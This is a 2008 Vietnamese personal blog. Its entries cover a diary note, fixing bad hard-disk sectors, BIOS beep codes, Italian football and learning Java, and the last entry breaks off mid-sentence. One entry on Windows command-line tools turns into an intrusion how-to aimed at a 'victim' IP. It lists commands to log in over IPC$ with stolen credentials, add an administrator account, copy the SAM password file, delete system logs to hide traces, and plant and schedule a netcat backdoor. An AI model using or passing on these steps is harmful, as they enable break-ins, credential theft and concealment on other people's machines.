Wednesday, 2. July 2008, 07:29:47
Hoàn thành website cho TAITVN này.
Sửa nốt một đống máy hỏng này.
Vọc Java hết sức này.
Chuyện tốt nghiệp cho lớp này.
Thu xếp bao nhiêu là việc vặt vãnh.
.....
Đến ngày hôm nay thì xì trét,sáng làm nửa cái web project cho taitvn, sửa mấy cái Comps giở chứng.Đi mua hộp cơm, buổi trưa lủi thủi 1 mình trên phòng server, ko ngủ,
nhắn tin cho em biết là ta chợt nhớ em quá.Em không thèm reply.
Nhiều lúc chỉ ước có đứa bạn thân để mà xả trét, để mà...uống rượu cùng ta những lúc mỏi mệt.
Nhiều lúc chỉ ước được lang thang khắp phố.
Nhiều lúc chỉ mong tìm được một người ta tri kỷ, hiểu thấu và sẻ chia.
Ta có em sao mà hờ hững quá, lúc vui thì có 2 người, lúc buồn thì....
Em nhiều khi như chiếc lá mà ta không thể nào nắm bắt, lúc em nồng nàn, lúc em lại thờ ơ!
Ta có em mà sao nhiều khi như xa lạ, có lúc muốn nghe một lời yêu thương mà như xa xôi quá.
Có em mà đôi lúc cô đơn chợt thấy mình như kẻ ngốc.
//////////////////Ta là ai mà chính ta cũng không trả lời được nữa.
Tối về đi uống rượu, tiễn ku bạn vào Nam thôi, thương thằng bạn long đong!
Thursday, 26. June 2008, 05:21:58
Vừa rồi trên forum có bạn hỏi tôi về cách loại bỏ phần bị bad trên ổ đĩa cứng.Có bạn nói vui nên ném cái HD đó vào RecycleBin (thùng rác, theo như cách Micosoft thích gọi) , tôi nghĩ, tất nhiên-bạn ấy có nhiều money một chút

!
Còn đại đa số SV IT sẽ không muốn vứt bỏ đi bất cứ "thứ-gì-còn-có-thể-dùng-chán"

!
Thêm một điều không thể phủ nhận là với dân IT mà nói, dữ liệu còn quí hơn cả ...người yêu!
Người yêu bỏ đi thì hậu quả hiển nhiên là lâu dài và khổ cực rồi, nhưng nhiều khi dữ liệu quí bị mất, không Restore được, không có bản Backup, thì chỉ có nước mà tự tử sớm!
Chính vì vậy tôi Post Entry này dành riêng cho Newbie, hãy nhớ: Computer hay Data cũng quí như các quí bà quí cô vậy.
---------------------------------------------------------------------------------------------------------------------
Nhận biết đĩa cứng bị bad:
1. Trong lúc đang cài đặt Windows hệ thống bị treo mà không hề xuất hiện một thông báo lỗi nào (đĩa cài đặt Windows vẫn còn tốt), mặc dù vẫn có thể dùng Partition Magic phân vùng cho HDD một cách bình thường.
2. không Fdisk được: khi Fdisk báo lỗi no fixed disk present (đĩa cứng hiện tại không thể phân chia) hoặc Fdisk được nhưng rất có thể máy sẽ bị treo trong quá trình Fdisk.
3. không Format được HDD: khi tiến hành format đĩa cứng máy báo lỗi Bad Track 0 – Disk Unsable.
4. khi đang format thì máy báo Trying to recover allocation unit xxxx. Lúc này máy báo cho ta biết cluster xxxx bị hư và nó đang cố gắng phục hồi lại cluster đó nhưng thông thường cái ta nhận được là một bad sector!
5. đang chạy bất kì ứng dụng nào, nhận được một câu thông báo như Error reading data on dirver C:, Retry, Abort, Ignore, fail? Hoặc A serious error occur when reading driver C:, Retry or Abort?
6. khi chạy Scandisk hay NDD (Norton Disk Doctor) hay bất kỳ phần mềm kiểm tra bề mặt đĩa (surface scan) nào, ta sẽ gặp rất nhiều bad sector.
Cách khắc phục:
(tất cả các chương trình giới thiệu dưới đây nằm gọn trong đĩa Hiren’s Boot có bán ở các cửa hàng phần mềm tin học Version 8.3 trở lên).
Cách 1: Dùng partition Magic cắt bỏ chỗ bad.
Thực hiện như sau:
Đầu tiên dùng chương trình NDD, khởi động từ đĩa Hiren’s Boot, ở menu của chương trình chọn mục 6. Hard Disk Tools, chọn tiếp 6. Norton Utilities, chọn 1.Norton Disk Doctor.
Sau khi dùng NDD xác định được vị trí bị bad trên HDD, tiến hành chạy chương trình Partition Magic cắt bỏ phần bị bad bằng cách đặt partition chứa đoạn hỏng đó thành Hide Partition.
Ví dụ: khoảng bị bad từ 6.3GB đến 6.6GB, bạn chia lại partition, chọn partition C đến 6GB, partition D bắt đầu từ 7GB, cứ như thế bạn tiến hành loại bỏ hết hẳn phần bị bad.
Cách này sử dụng rất hiệu quả tuy nhiên nó chỉ khắc phục khi đĩa cứng của bạn có số lượng bad thấp.
Cách 2: Dùng chương trình HDD Regenerator:
Thông thường nhà sản xuất luôn để dự phòng một số sector trên mỗi track hoặc cylinder, và thực chất kích thước thực của sector vẫn lớn hơn 512bytes rất nhiều (tùy loại hãng đĩa). Như thế nếu như số sector bị bad ít hơn số dự phòng còn tốt thì lúc này có thể HDD Regenerator sẽ lấy những sector dự phòng còn tốt đắp qua thay cho sector bị hư, như vậy bề mặt đĩa trở nên “sạch“ hơn và tốt trở lại. Dĩ nhiên nếu lượng sector dự phòng ổ cứng ít hơn thì ổ cứng sẽ còn bị bad một ít. Bạn có thể quay lại cách 1.
Cách thực hiện:
Khởi động hệ thống từ đĩa Hiren’s Boot. Cửa sổ đầu tiên xuất hiện, chọn 6.Hard Disk Tools, chọn tiếp 2. HDD Regenerator, bấm phím bất kì để xác nhận. Kế đến ở dòng Starting sector (leave 0 to scan from the beginning) gõ vào dung lượng lớn nhất hiện có của HDD, gõ xong bấm Enter để chương trình thực hiện. Thời gian chờ, tùy thuộc vào dung lượng đĩa và số lượng bad.
The End!
Thursday, 26. June 2008, 05:00:40
Đoán lỗi qua tiếng BÍP!
AMI BIOS dùng những tiếng beep đều nhau để báo lỗi. Cố gằng đếm chúng và nghía bảng sau :
Số beep Nghĩa Nguyên nhân có thể
1 Beep (No video) Lỗi làm tươi bộ nhớ Ram Ram cắm ko chặt hoặc Ram hỏng
2 Beeps Lỗi cân bằng bộ nhớ Sai Bus hoặc Ram có vấn đề
3 Beeps Base 64K mem failure Bad memory
4 Beeps Bộ định thời không hoạt động Mainboard có vấn đề
5 Beeps Lỗi ở CPU CPU có vấn đề
6 Beeps 8042 Gate A20 failure Bad CPU or Motherboard
7 Beeps Lỗi ở CPU Sai bus
8 Beeps Lỗi ở Card màn hình VCard có vấn đề
9 Beeps ROM checksum error BIOS có vấn đề
10 Beeps CMOS checksum error Mainboard có vấn đề
11 Beeps Cache memory bad Mainboar và/hoặc CPU có vấn đề
Award BIOS Beep Codes
Award BIOS dùng các tiếng Beep dài ngắn khác nhau và đôi khi có tần số khác nhau để thông báo lỗi
Mã lỗi Nghĩa Nguyên nhân có thể
1 dài, 2 ngắn Lỗi ở Card màn hình Card màn hình có vấn đề
beep liên tục không ngừng Lỗi bộ nhớ Ram Ram hỏng hoặc cắm không chặt
1 dài, 3 ngắn Lỗi ở Card màn hình Card màn hình/bộ nhớ của nó có vấn đề
Nhiều tiếng beeps cao liên tục CPU quá nóng Quạt CPU hỏng
Beeps cao thấp lặp lại liên tục Lỗi ở CPU CPU có vấn đề
Phoenix BIOS Beep Codes
Phoenix BIOS dùng các chuỗi tiếng beep liền nhau để thông báo lỗi, ví dụ 1-2-3 là chuỗi đầu 1 beep, nghỉ, chuỗi kế 2 beeps, nghỉ, chuỗi cuối 3 beeps (hơi dài, em lười dich, để đấy nhé)
BEEP CODE MEANING POSSIBLE CAUSE
1 - 1 - 2 CPU / motherboard failure Bad CPU / motherboard
1 - 1 - 3 CMOS read/write failure Bad motherboard
1 - 1 - 4 BIOS ROM failure Bad BIOS chip
1 - 2 - 1 Timer failure Bad motherboard
1 - 2 - 2 DMA failure Bad motherboard
1 - 2 - 3 DMA failure Bad motherboard
1 - 3 - 1 Memory refresh failure Bad memory
1 - 3 - 2 64K memory failure Bad memory
1 - 3 - 3 64K memory failure Bad memory
1 - 3 - 4 64K memory failure Bad memory
1 - 4 - 1 Address line failure Bad memory
1 - 4 - 2 Parity error Bad memory
1 - 4 - 3 Timer failure Bad motherboard
1 - 4 - 4 NMI port failure Bad motherboard
2 - 1 - 1 64K memory failure Bad memory
2 - 1 - 2 64K memory failure Bad memory
2 - 1 - 3 64K memory failure Bad memory
2 - 1 - 4 64K memory failure Bad memory
2 - 2 - 1 64K memory failure Bad memory
2 - 2 - 2 64K memory failure Bad memory
2 - 2 - 3 64K memory failure Bad memory
2 - 2 - 4 64K memory failure Bad memory
2 - 3 - 1 64K memory failure Bad memory
2 - 3 - 2 64K memory failure Bad memory
2 - 3 - 3 64K memory failure Bad memory
2 - 3 - 4 64K memory failure Bad memory
2 - 4 - 1 64K memory failure Bad memory
2 - 4 - 2 64K memory failure Bad memory
2 - 4 - 4 64K memory failure Bad memory
2 - 4 - 4 64K memory failure Bad memory
3 - 1 - 1 Slave DMA failure Bad motherboard
3 - 1 - 2 Master DMA failure Bad motherboard
3 - 1 - 3 Interrupt controller failure Bad motherboard
3 - 1 -4 Slave IC failure Bad motherboard
3 - 2 -2 Interrupt Controller failure Bad motherboard
3 - 2 - 3 <RESERVED>
3 - 2 - 4 Keyboard control failure Bad motherboard
3 - 3 - 1 CMOS batter failure Bad CMOS battery
3 - 3 - 2 CMOS configuration error Incorrect setting
3 - 3 - 3 <RESERVED>
3 - 3 - 4 Video memory failure Bad video card or memory
3 - 4 - 1 Video init failure Bad video card or memory
4 - 2 - 1 Timer failure Bad motherboard
4 - 2 - 2 CMOS shutdown failure Bad motherboard
4 - 2 - 3 Gate A20 failure Bad motherboard
4 - 2 - 4 Unexpected interrupt Bad processor
4 - 3 - 1 RAM test failure Bad memory
4 - 3 - 3 Timer failure Bad motherboard
4 - 3 - 4 RTC failure Bad motherboard
4 - 4 - 1 Serial port failure Bad motherboard
4 - 4 - 2 Parallel port failure Bad motherboard
4 - 4 - 3 Coprocessor failure Bad motherboard or CPU.
9 - 2 - 1 Video adapter incompatibility Use a different brand of video card
Thursday, 26. June 2008, 04:46:23
1. Lệnh Ping : Cú pháp: Code: ping ip/host [/t][/a][/l][/n] - ip: địa chỉ IP của máy cần kiểm tra; host là tên của máy tính cần kiểm tra. Người ta có thể sử dụng địa chỉ IP hoặc tên của máy tính. - Tham số /t: Sử dụng tham số này để máy tính liên tục "ping" đến máy tính đích, cho đến khi bạn bấm Ctrl + C - Tham số /a: Nhận địa chỉ IP từ tên host - Tham số /l : Xác định độ rộng của gói tin gửi đi kiểm tra. Một số hacker sử dụng tham số này để tấn công từ chối dịch vụ một máy tính (Ping of Death - một loại DoS), nhưng tôi nghĩ là hacker có công cụ riêng để ping một gói tin lớn như thế này, và phải có nhiều máy tính cùng ping một lượt. - Tham số /n : Xác định số gói tin sẽ gửi đi. Ví dụ: ping 174.178.0.1/n 5 Công dụng : + Lệnh này được sử dụng để kiểm tra xem một máy tính có kết nối với mạng không. Lệnh Ping sẽ gửi các gói tin từ máy tính bạn đang ngồi tới máy tính đích. Thông qua giá trị mà máy tính đích trả về đối với từng gói tin, bạn có thể xác định được tình trạng của đường truyền (chẳng hạn: gửi 4 gói tin nhưng chỉ nhận được 1 gói tin, chứng tỏ đường truyền rất chậm (xấu)). Hoặc cũng có thể xác định máy tính đó có kết nối hay không (Nếu không kết nối,kết quả là Unknow host)....
2. Lệnh Tracert : Cú pháp : Code: tracert ip/host Công dụng : + Lệnh này sẽ cho phép bạn "nhìn thấy" đường đi của các gói tin từ máy tính của bạn đến máy tính đích, xem gói tin của bạn vòng qua các server nào, các router nào... Quá hay nếu bạn muốn thăm dò một server nào đó.
3. Lệnh Net Send, gởi thông điệp trên mạng (chỉ sử dụng trên hệ thống máy tình Win NT/2000/XP): Cú pháp: Net send ip/host thông_điệp_muốn_gởi Công dụng: + Lệnh này sẽ gửi thông điệp tới máy tính đích (có địa chỉ IP hoặc tên host) thông điệp: thông_điệp_muốn_gởi. + Trong mạng LAN, ta có thể sử dụng lệnh này để chat với nhau. Trong phòng vi tính của trường tui thường dùng lệnh này để ghẹo mọi người! Bạn cũng có thể gởi cho tất cả các máy tính trong mạng LAN theo cấu trúc sau : Code: Net send * hello!I'm pro_hacker_invn
4. Lệnh Netstat : Cú pháp: Code: Netstat [/a][/e][/n] - Tham số /a: Hiển thị tất cả các kết nối và các cổng đang lắng nghe (listening) - Tham số /e: hiển thị các thông tin thống kê Ethernet - Tham số /n: Hiển thị các địa chỉ và các số cổng kết nối... Ngoải ra còn một vài tham số khác, hãy gõ Netstat/? để biết thêm Công dụng : + Lệnh Netstat cho phép ta liệt kê tất cả các kết nối ra và vào máy tính của chúng ta.
5. Lệnh IPCONFIG : Cú pháp: Code: ipconfig /all Công dụng: + Lệnh này sẽ cho phép hiển thị cấu hình IP của máy tính bạn đang sử dụng, như tên host, địa chỉ IP, mặt nạ mạng...
6. Lệnh FTP (truyền tải file): Cú pháp: Code: ftp ip/host Nếu kết nối thành công đến máy chủ, bạn sẽ vào màn hình ftp, có dấu nhắc như sau: Code: ftp>_ Tại đây, bạn sẽ thực hiện các thao tác bằng tay với ftp, thay vì dùng các chương trình kiểu Cute FTP, Flash FXP. Nếu kết nối thành công, chương trình sẽ yêu cầu bạn nhập User name, Password. Nếu username và pass hợp lệ, bạn sẽ được phép upload, duyệt file... trên máy chủ. Một số lệnh ftp cơ bản: -cd thu_muc: chuyển sang thư mục khác trên máy chủ - dir: Xem danh sách các file và thư mục của thư mục hiện thời trên máy chủ - mdir thu_muc: Tạo một thư mục mới có tên thu_muc trên máy chủ - rmdir thu_muc: Xoá (remove directory) một thư mục trên máy chủ - put file: tải một file file (đầy đủ cả đường dẫn. VD: c:\tp\bin\baitap.exe) từ máy bạn đang sử dụng lên máy chủ. - close: Đóng phiên làm việc - quit: Thoát khỏi chương trình ftp, quay trở về chế độ DOS command. Ngoài ra còn một vài lệnh nữa, xin mời các bạn tự tìm hiểu. Công dụng : + FTP là một giao thức được sử dụng để gửi và nhận file giữa các máy tính với nhau. Windows đã cài đặt sẵn lệnh ftp, có tác dụng như một chương trình chạy trên nền console (văn bản), cho phép thực hiện kết nối đến máy chủ ftp
7. Lệnh Net View : Cú pháp: Code: Net View [\\computer|/Domain[:ten_domain]] Công dụng: + Nếu chỉ đánh net view [enter], nó sẽ hiện ra danh sách các máy tính trong mạng cùng domain quản lý với máy tính bạn đang sử dụng. + Nếu đánh net view \\tenmaytinh, sẽ hiển thị các chia sẻ tài nguyên của máy tính tenmaytinh . Sau khi sử dụng lệnh này, các bạn có thể sử dụng lệnh net use để sử dụng các nguồn tài nguyên chia sẻ này.
8. Lệnh Net Use : Cú pháp: Code: Net use \\ip\ipc$ "pass" /user:"xxx" - ip: địa chỉ IP của victim. - xxx: user của máy victim - pass: password của user Giả sử ta có đc user và pass của victim có IP là 68.135.23.25 trên net thì ta đã có thể kết nối đến máy tính đó rùi đấy! Ví dụ: user: vitim ; pass :12345 . Ta dùng lệnh sau: Code: Net use \\68.135.23.25\ipc$ "12345" /user:"victim" Công dụng: + kết nói một IPC$ đến máy tính victim (bắt đầu quá trình xâm nhập).
9. Lệnh Net User : Cú pháp: Code: Net User [username pass] [/add] - Username : tên user cấn add - pass : password của user cần add Khi đã add đc user vào rùi thì ta tiến hành add user này vào nhóm administrator. Code: Net Localgroup Adminstrator [username] [/add] Công dụng: + Nếu ta chỉ đánh lệnh Net User thì sẽ hiển thị các user có trong máy tính. + Nếu ta đánh lệnh Net User [username pass] [/add] thì máy tính sẽ tiến hành thêm một người dùng vào. Ví dụ: ta tiến hành add thêm một user có tên là xuanhoa , password là :banvatoi vào với cấu trúc lệnh như sau: Code: Net User xuanhoa banvatoi /add Sau đó add user xuanhoa vào nhóm adminnistrator Code: Net Localgroup Administrator xuanhoa /add
10. Lệnh Shutdown: Cú pháp: Code: Shutdown [-m \\ip] [-t xx] [-i] [-l] [-s] [-r] [-a] [-f] [-c "commet] [-d upx:yy] (áp dụng cho win XP) - Tham số -m\\ip : ra lệnh cho một máy tính từ xa thực hiên các lệnh shutdown, restart,.. - Tham số -t xx : đặt thời gian cho việc thực hiện lệnh shutdown. - Tham số -l : logg off (lưu ý ko thể thực hiện khi remote) - Tham số -s : shutdown - Tham số -r : shutdown và restart - Tham số -a : không cho shutdown - Tham số -f : shutdown mà ko cảnh báo - Tham số -c "comment" : lời cảnh báo trước khi shutdown - Tham số -d upx:yy : ko rõ Code: shutdown \\ip (áp dụng win NT) Để rõ hơn về lệnh shutdown bạn có thể gõ shutdown /? để được hướng dẫn cụ thể hơn! Công dụng: + Shutdown máy tính.
11. Lệnh DIR : Cú pháp: Code: DIR [drive:][path][filename] Lệnh này quá căn bản rùi, chắc tui khỏi hướng dẫn, để rõ hơn bạn đánh lệnh DIR /? để được hướng dẫn. Công dụng: + Để xem file, folder.
12. Lệnh DEL : Cú pháp: Code: DEL [drive:][path][filename] Lệnh này cũng căn bản rùi, ko phải nói nhìu. Công dụng: Xóa một file, thông thường sau khi xâm nhập vào hệ thống, ta phái tiến hành xóa dấu vết của mình để khỏi bị phát hiện.Sau đây là những files nhật ký của Win NT: Code: del C:\winnt\system32\logfiles\*.* del C:\winnt\ssytem32\config\*.evt del C:\winnt\system32\dtclog\*.* del C:\winnt\system32\*.log del C:\winnt\system32\*.txt del C:\winnt\*.txt del C:\winnt\*.log
13. Lệnh tạo ổ đĩa ảo trên computer: Cú pháp: Code: Net use z: \\ip\C$ ( hoặc là IPC$ ) - Z là của mình...còn C$ là của Victim Công dụng: Tạo 1 đĩa ảo trên máy tính (lệnh này tui ko rõ nên ko thể hướng dẫn chi tiết đc)
14. Lệnh Net Time : Cú pháp: Code: Net Time \\ip Công dụng: + Cho ta biết thời gian của victim, sau đó dùng lệnh AT để khởi động chương trình.
15. Lệnh AT: Cú pháp: Code: AT \\ip Công dụng: + Thông thường khi xâm nhập vào máy tính victim khi rút lui thì ta sẽ tặng quà lưu niệm lên máy tính victim, khi đã copy troj hoặc backdoor lên máy tính rùi ta sẽ dùng lệnh at để khởi động chúng. Ví dụ: ở đây tui có con troj tên nc.exe (NC là từ viết tắc của NETCAT....nó là một telnet server với port 99) và đc copy lên máy victim rùi. Đầu tiên ta cần biết thời gian của victim có IP là : 68.135.23.25 . Code: Net Time \\68.135.23.25 Bây h nó sẽ phản hồi cho ta thời gian của victim, ví dụ : 12:00. Code: AT \\68.135.23.25 12:3 nc.exe Đợi đến 12:3 là nó sẽ tự chạy trên máy nạn nhân và chúng ta có thể connected đến port 99.
16. Lệnh Telnet: Cú pháp: Code: telnet host port Gõ telnet /? để biết thêm chi tiết. Nhưng nếu như máy victim đã dính con nc rồi thì ta chỉ cần connect đến port 99 là OKie Code: telnet 68.135.23.25 99 Công dụng: + Kết nối đến host qua port xx
17. Lệnh COPY: Cú pháp: Code: COPY /? Dùng lệnh trên để rõ hơn! Công dụng: + Copy file, tui khỏi nói thêm nhé. Ví dụ:chúng ta copy files index trên ổ C của mình lên ổ C của 127.0.0.1 Code: Copy Index.html \\127.0.0.1\C$\index.html nếu bạn copy lên folder winNt Code: Copy index.html \\127.0.0.1\admin$\index.html muốn copy files trên máy victm thì bạn gõ vào : Code: Copy \\127.0.0.1\Admin$\repair\sam._c:\
18. Lệnh SET: Cú pháp: Code: SET Công dụng: + Displays, sets, or removes cmd.exe enviroment variables. 19. Lệnh Nbtstat: Cú pháp: Code: Nbtstat /? Gõ lệnh trên để rõ hơn về lệnh này. Công dụng: + Display protocol statistic and curent TCP/IP connections using NBT (netbios over TCP?IP)
Thursday, 26. June 2008, 04:44:40
Calcio đang trải qua những năm tháng tồi tệ nhất trong lịch sử. Khi cuộc khủng hoảng tài chính chưa có dấu hiệu chấm dứt thì đến lượt Calciopoli nổ ra. Những khó khăn lại tiếp tục khi một quan chức cảnh sát cùng 1 CĐV bị giết chết bởi những cuộc bạo loạn trên khắp đất nước.
Người ta đã vin vào những khó khăn này để hạ thấp uy tín của Calcio, đã tìm mọi cách để khiến nó xấu xí hơn trong mắt người hâm mộ. Nhưng có một thực tế mà không ai có thể thay đổi: Calcio vẫn đang là lá cờ đầu ở châu Âu, cho dù rất nhiều ngôi sao đã quay lưng lại với nó để tìm kiếm những mảnh đất lắm tiền hơn.
Một năm sau chiến thắng của Cannavaro, đến lượt Kaka mang vinh quang về cho Calcio
Một năm sau chiến thắng của Fabio Cannavaro, đến lượt Kaka mang vinh quang về cho Calcio
7 tháng sau ngày Italia đăng quang ở VCK World Cup 2006, 1 năm sau ngày Cannavaro ẵm liền hai giải QBV châu Âu và Cầu thủ xuất sắc nhất của FIFA, đến lượt một đứa con khác của Calcio giành được vinh quang mà bất kỳ cầu thủ nào cũng mơ ước được một lần chạm tay.
Calcio đã không chết sau những khó khăn, mà chính điều đó giúp giải đấu này mạnh mẽ hơn. Và chiến thắng của Italia, của Cannavaro và bây giờ là Kaka đã chứng minh cho điều đó.
Nếu tính xa hơn nữa, ngoại trừ chiến thắng của Ronaldinho trong cuộc bầu chọn năm 2005, 4/5 QBV gần đây nhất đều thuộc về những người con trưởng thành từ Calcio. Từ Nedved năm 2003, Sheva 1 năm sau đó, Cannavaro giành chiến thắng cách đây 1 năm (căn cứ vào thành tích cùng Juve chứ không phải Real) và mới nhất là Kaka.
Sự độc tôn của Calcio còn được thể hiện với chiến thắng thứ 18 trong 52 lần cuộc bầu chọn QBV được tổ chức. Tây Ban Nha chiến thắng 12 lần, Đức 9 lần trong khi những cầu thủ của Premier League mới chỉ 5 lần được bước lên bục nhận giải.
Có quá nhiều khó khăn và bất công, nhưng tất cả đều phải thừa nhận Serie A nói riêng và Calcio nói chung đang là lá cờ đầu của bóng đá châu Âu cũng như thế giới.
Monday, 23. June 2008, 03:50:56
//Copyright by Someone's blog
//chân trời to rộng...
import java.*;
Class Welcome{
Public static void main(String args[]){
System.out.print("Rất nhiều người tìm đến với Java là do yêu cầu của dự án, chẳng hạn cần 1 website viết bằng JSP + Oracle, nghiên cứu uPortal hoặc những sinh viên muốn viết game cho mobile. Họ bắt đầu học Java như thế đấy. Gần đây trên ddth.com, có một cậu kỹ sư hay cử nhân gì đó tuyên bố một khi đã học xong đại học thì họ chỉ cần mất 2-3 ngày để có thể thành thạo (một cách thuần thục) một ngôn ngữ lập trình. Và cậu ta tự nhận mình là ngu nên học hết 1 tuần. Còn tôi, hơn 3 năm trời học Java và tôi vẫn đang học Java.
Có lẽ vì là một coder, phần vì trí thông minh của mình thuộc hàng chậm phát triển lại không được đào tạo chính quy nên tôi đã học Java hết hơn 3 năm rồi và hiện tại nồi cơm của tôi là Java.
Java đúng là mênh mông thật, rất nhiều, rất nhiều công nghệ, rất nhiều giải pháp, rất nhiều những sản phẩm nguồn mở. Vì lẽ đó, nhiều coder bắt tay vào học Java thường bị choáng ngợp bởi có quá nhiều thứ để học hỏi ở Java. Vậy thì bắt đầu từ đâu nhỉ?
Vào java.sun.com download bản JDK mới nhất và dùng một text editor để học nó. Dĩ nhiên tôi không dùng Nodepad rồi vì nó quá sơ sài. Với những người thành thạo Linux có lẽ nên dùng Vi là thứ tốt nhất, còn Windows, bản thân tôi dùng TextPad, sau khi cài đặt (JDK và TextPad) hãy mở TextPad ra gõ vào chương trình nổi tiếng và thông dụng nhất System.out “Hello World !”, nhấn crtl-1 để dịch, nhấn ctrl-2 để chạy. Thế là bạn đã bắt đầu học Java. Nên download thêm từ Java.sun.com gói java doc để có được API Specification trong quá trình học và làm việc với Java.
Một kẻ mù mờ như tôi thì điều đầu tiên là phải thành thạo ngữ pháp, do đó, tôi thường kiếm những bài nho nhỏ để viết thử cho đến khi thuần thục cú pháp Java, chẳng hạn các bài toán sắp xếp, tìm kiếm số nguyên, các bài toán quản lý điểm chẳng hạn. Mục đích duy nhất khi viết chúng là để làm quen dần với cú pháp của một chương trình Java.
Tôi không thể tìm hiểu ngay bản chất của Java là gì ? Chẳng hạn, như làm thế nào để Virtual Machine chạy một class, tại sao lại là máy ảo, bản chất của Object, điều tôi quan tâm đầu tiên là làm sao biến mình thành một cái máy gõ code Java. Tôi học như một cái máy gõ chữ vậy.
Sau khi đã thuần thục ngữ pháp Java, tôi bắt đầu đi tìm hiểu sơ đẳng những đặc điểm của một chương trình Java, chẳng hạn class, package là gì, thừa kế, interface đóng vai trò như thế nào, viết như vậy là một chương trình cấu trúc hay một hướng đối tượng. Dĩ nhiên tôi không thể hiểu rành mạch ngay được mà chỉ hiểu một chút ít. Sau khi tìm hiểu sơ sơ những vấn đề đó, tôi bắt tay vào tìm hiểu những thư viện trong Java.
Viết một cửa số bằng AWT, điều này làm tôi sung sướng vì bằng Java tôi có thể nhìn thấy kết quả của mình là một ứng dụng đồ họa nho nhỏ, tôi tìm hiểu về AWT để viết những bài tập bé bé, chẳng hạn một cửa sổ giao diện quản lý, cài đặt các action. Tuy nhiên, không nên mất nhiều thời gian vào AWT, tôi quay sang học java.lang và java.util.
Với java.lang đây là gói bao gồm rất nhiều những lớp cơ bản, String chẳng hạn, dĩ nhiên là phải làm thuần thục với string rồi ( cắt 1 string, thay thế từ, tìm vị trí từ,...) những bài tập rất nhỏ. Tiếp theo đó là StringBuffer, và ở Java 5 có một người anh em của nó là StringBuilder. Tôi hiểu sơ sơ về StringBuffer, nghĩa là chúng làm việc nhanh hơn khi nối string. Trong java.lang còn một lớp nữa là lớp Math, cũng cần tìm hiểu các hàm mà lớp này cung cấp để viết các bài tập nhỏ. Vậy là ok, tôi đã biết một số lớp cơ bản trong java.lang.
Java.util là gói tiếp theo tôi cần tìm hiểu, thử viết một bài toán về Vector, thêm bớt, xóa các thành phần, cái này giống “mảng động” quá. Sau Vector, tôi thử tìm hiểu lớp Date, in ngày tháng hiện tại, giờ giấc xem sao, tôi viết thử một chiếc đồng hồ bằng AWT có sử dụng lớp Calendar và lớp Date. Java.util còn một lớp tôi cần phải học đó là Hashtable, viết một ví dụ cho phép đặt cặp giá trị key – value vào đối tượng của lớp Hashtable. Như vậy là tôi đã xong Java.util.
Bây giờ đến một gói thứ 3, java.io. Lớp đầu tiên cần phải học trong java.io đó là File. Tạo và xóa một file, đo độ dài một file. Tất cả các hàm đều được cung cấp trong File.class và tôi chỉ cần tạo một object rồi System.out giá trị để kiểm nghiệm lại trong Java. Hai lớp tiếp theo tôi cần tìm hiểu trong java.io là FileReader và FileWriter, tôi dùng hai lớp này để đọc và ghi dữ liệu vào một file text đơn giản.
Sau khi làm việc được với java.util, tôi trở lại gói java lang để tìm hiểu một lớp nữa, đó là java thread. Dĩ nhiên tôi không thể viết một ví dụ cỏn con về thread được, thế là google, tôi muốn tìm một ví dụ đơn giản nhất của thread. Tôi gõ vào cụm từ import java.io + public void run() và thế là google trả về cả triệu kết quả cho tôi, trong một mớ hỗn độn, tôi cần tìm ra một ví dụ đơn giản về thread, okies, tôi tìm được rồi, copy và TextPad, ctrl-1 -> ctrl-2 và tôi chạy nó. Từ ví dụ này tôi viết thử các ví dụ khác về thread, và tôi bắt đầu hiểu về thread. Sau khi đã nắm tương đối về thread tôi bắt đầu thử từ khóa synchronized, tôi viết một lớp có 2 thread, trong 2 thread cùng đọc một file và phương thức đọc file có synchronized. Bây giờ tôi quay lại gói java.util để cài thử một ví dụ về ArrayList và tìm hiểu vì sao ArrayList cũng làm việc như Vector nhưng người ta lại cài những 2 lớp này. Tôi viết một ví dụ nhỏ có 2 thread cùng add dữ liệu vào 1 ArrayList và làm tương tự với Vector. Ở 2 ví dụ tôi có đo thời gian chạy, tôi dùng 1 vòng lặp while chạy 1000 lần, rồi 10000. Tôi thử rất nhiều lần như vậy thì đều thấy ArrayList add dữ liệu nhanh hơn. Bây giờ tôi tìm hiểu từ khóa try catch, tôi lại dùng Google để tìm một ví dụ về try catch, sau khi hiểu sơ sơ tôi quay sang cài đặt các ví dụ có throws Exception. Hay quá, nếu có try catch, tôi có thể thông báo những lỗi xảy ra ở chương trình của tôi và chương trình vẫn tiếp tục làm việc, nếu không dùng try catch tôi thấy chương trình gặp lỗi và đơ luôn.
Qua hàng loạt những ví dụ, tôi bắt đầu hiểu sơ sơ về lập trình hướng đối tượng, tôi tìm muốn sách lý thuyết để đọc về chúng, okies tôi đã bắt đầu hiểu java và tiếp tục tìm hiểu những thứ cần thiết cho công việc của tôi.
Java không đơn thuần là một ngôn ngữ, nó là cả một nền tảng lập trình, một cộng đồng hay một văn hóa. Với quan niệm của tôi, ai đó có thể thuần thục cú pháp trong Java nhưng hiểu hết những tư tưởng tồn tại trong Java thì có lẽ cũng phải mất từ 3-6 tháng với một người thông minh và được đào tạo rất bài bản. Khi tìm hiểu Java, người ta thường không tìm hiểu kỹ những thành phần cơ bản của Java mà học vào một framework cụ thể với tư tưởng MVC. Đối với tôi, muốn giỏi lập trình java thì hai gói đầu tiên bạn phải thuần thục là java.lang và java.util. Tôi từng được một thạc sĩ CNTT hỏi trong có Queue và Stack không,...nếu không có thì chị sẽ tự cài lấy một cái, còn nếu có thì chị dùng ngay cho nó tiện. Tôi không coi đó làm điều ngạc nhiên hoặc cũng không dám chê chị dốt hay có những ý nghĩ khác không hay bởi chị rất giỏi nên việc cài đặt những thứ đó với chị quá đơn giản, nhưng điều đó giống như việc phát minh bánh xe và rất lãng phí. Do vậy khi học Java, tôi luôn tâm niệm rằng tôi đang học cả một nền tảng chứ không phải là đang học một ngôn ngữ lập trình.
Java.util là gói tôi thích nhất, bởi từ Java.util, tôi kiểm nghiệm lại những lý thuyết về cấu trúc dữ liệu và giải thuật. Dĩ nhiên framework này không bao giờ đề cập hết được tất cả các thuật toán cũng như cấu trúc dữ liệu, nhưng tôi có thể tìm hiểu những vấn đề cơ bản ở đây rồi từ đó dùng google search thêm những đoạn code khác. Có khá nhiều những thư viện ngoài cài đặt collections framework, Apache, Trove hay FastUtil chẳng hạn. Mục đích của những thư viện này là cải thiện tốc độ của collections framework và không phải là họ không thu được kết quả gì. Điều đặc biệt hơn nữa là rất nhiều trường đại học trên thế giới cung cấp những cài đặt về cấu trúc dữ liệu và giải thuật, cũng có cái hay, cũng có cái dở. Tôi bắt đầu trả lời được một thắc mắc của mình là tại sao Java dùng merge-sort chứ không dùng quick-sort, và tại sao ở những phiên bản đầu java chậm, càng những phiên bản về 